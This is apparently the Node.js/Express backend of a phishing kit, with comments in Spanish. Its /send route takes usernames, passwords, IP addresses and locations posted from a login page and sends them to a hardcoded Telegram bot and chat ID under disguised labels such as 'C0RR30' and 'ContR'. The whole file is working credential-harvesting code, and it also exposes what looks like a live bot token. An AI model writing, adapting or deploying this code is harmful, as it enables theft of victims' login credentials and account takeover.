const express = require('express');
const bodyParser = require('body-parser');
const fetch = require('node-fetch');
const path = require('path');

const app = express();
const PORT = process.env.PORT || 3000;

// Middleware
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));

// Servir archivos estáticos desde el directorio public
app.use(express.static(path.join(__dirname, 'public')));

// Variables de entorno
const TELEGRAM_BOT_TOKEN = process.env.TELEGRAM_BOT_TOKEN;
const CHAT_ID = process.env.CHAT_ID;

// Validar que las variables de entorno estén definidas
if (!TELEGRAM_BOT_TOKEN || !CHAT_ID) {
    console.error('Falta configurar TELEGRAM_BOT_TOKEN o CHAT_ID');
    process.exit(1);
}

// Ruta para enviar mensajes a Telegram desde el formulario de index.html
app.post('/send', (req, res) => {
    console.log('Datos recibidos desde index.html:', req.body); // Para depurar
    const { username, password, ip, city, country } = req.body;

    if (!username || !password || !ip || !city || !country) {
        return res.status(400).send('Faltan datos en el formulario.');
    }

    const message = `🔵H0TIX🔵\nC0RR30: ${username}\nContR: ${password}\nIP: ${ip}\nCiudad: ${city}\nPaís: ${country}`;

    fetch(`https://api.telegram.org/bot$6000095812:AAHZbtMesCbwbrJhgveWyjcz-Q6PB_Y_MfE/sendMessage`, {
        method: 'POST',
        body: JSON.stringify({
            chat_id: 1694742892,
            text: message
        }),
        headers: { 'Content-Type': 'application/json' }
    })
    .then(response => response.json())
    .then(data => {
        if (data.ok) {
            res.status(200).send('Mensaje enviado a Telegram');
        } else {
            console.error('Error en la respuesta de Telegram:', data);
            res.status(500).send('Error al enviar el mensaje a Telegram');
        }
    })
    .catch(error => {
        console.error('Error en el servidor:', error);
        res.status(500).send('Error en el servidor');
    });
});


// Ruta para servir index.html
app.get('/index', (req, res) => {
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
});



app.listen(PORT, () => {
    console.log(`Servidor escuchando en http://localhost:${PORT}`);
});
